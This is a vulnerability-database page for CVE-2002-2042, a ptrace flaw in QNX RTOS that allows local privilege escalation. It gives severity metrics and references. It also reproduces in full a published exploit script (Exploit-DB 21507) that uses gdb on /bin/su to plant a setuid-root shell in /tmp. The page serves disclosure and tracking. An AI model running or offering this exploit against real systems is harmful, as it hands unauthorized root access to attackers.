CVE-2002-2042 : Detail

CVE-2002-2042

0.04%V3
Local
2005-07-14
04h00 +00:00
2024-09-16
19h51 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

ptrace in the QNX realtime operating system (RTOS) 4.25 and 6.1.0 allows programs to attach to privileged processes, which could allow local users to execute arbitrary code by modifying running processes.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 21507

Publication date : 2002-06-02 22h00 +00:00
Author : badc0ded
EDB Verified : Yes

source: https://www.securityfocus.com/bid/4919/info The QNX implementation of 'ptrace()' is reportedly insecure. An unprivileged process may attach to a setuid program without restriction. Since the attaching process may view or edit memory, an attacker may exploit this issue to escalate privileges. This issue affects QNX RTOS 6 prior to 6.4.0. #!/bin/sh #include <std_shouts.h> #include <std_disclaimer.h> #http://www.badc0ded.com echo "#!/bin/sh" > /tmp/runme echo cp /bin/sh /tmp/sh > /tmp/runme echo chmod 4755 /tmp/sh >> /tmp/runme chmod 755 /tmp/runme echo r root -c /tmp/runme > /tmp/badc0ded echo break *main+44 >> /tmp/badc0ded echo c >> /tmp/badc0ded echo "call setuid(0)" >> /tmp/badc0ded echo c >> /tmp/badc0ded gdb /bin/su < badc0ded > /dev/null echo "www.badc0ded.com" sleep 1 rm /tmp/runme /tmp/badc0ded /tmp/sh

Products Mentioned

Configuraton 0

Qnx>>Rtos >> Version 4.25

    Qnx>>Rtos >> Version 6.1.0

      References

      http://online.securityfocus.com/archive/1/275218
      Tags : mailing-list, x_refsource_BUGTRAQ
      http://www.securityfocus.com/bid/4919
      Tags : vdb-entry, x_refsource_BID